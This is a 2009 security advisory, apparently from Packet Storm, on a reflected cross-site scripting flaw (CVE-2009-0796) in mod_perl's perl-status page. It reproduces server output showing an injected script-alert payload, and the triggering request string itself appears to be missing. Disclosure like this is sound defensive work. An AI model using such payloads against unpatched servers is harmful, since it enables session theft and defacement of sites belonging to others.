Mod-Perl Perl-Status Cross Site Scripting

Type packetstorm
Reporter Richard Brain
Modified 2009-04-15T00:00:00


                                            `Vulnerability found: 28th February 2009  
Vendor informed: 1st March 2009  
Advisory last updated: 1st March 2009   
Severity: Medium/High  
Credits: Richard Brain of ProCheckUp Ltd (  
CVE reference: CVE-2009-0796   
BID: 34383  
Many thanks to Torsten Foertsch for his kind assistance in fixing the bug.  
There is a Cross-site Scripting vulnerability on Mod_perl's, perl-status utility. The perl-status utility on request displays the current status of the Mod_perl server, and some configuration information. Perl-status when configured to allow any viewers, presents an information disclosure risk,  
Procheckup has found by making a malformed request to perl-status, that additionally a vanilla cross site scripting (XSS) attack is possible.  
Proof of concept:  
Submitting the following string to an unpatched server "server".  
The following is returned:-  
<p><a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?env">Environment</a><br />  
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inc">Loaded Modules</a><br />  
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inh_tree">Inheritance Tree</a><br />  
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?isa_tree">ISA Tree</a><br />  
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?myconfig">Perl Configuration</a><br />  
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?rgysubs">Compiled Registry Scripts</a><br />  
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?script">PerlRequire'd Files</a><br />  
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?sig">Signal Handlers</a><br />  
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?symdump">Symbol Table Dump</a><br />  
An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link or visits a malicious webpage. The malicious code would run in the security context of the vulnerable website.  
This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: passwords or session IDs) to unauthorised third parties.  
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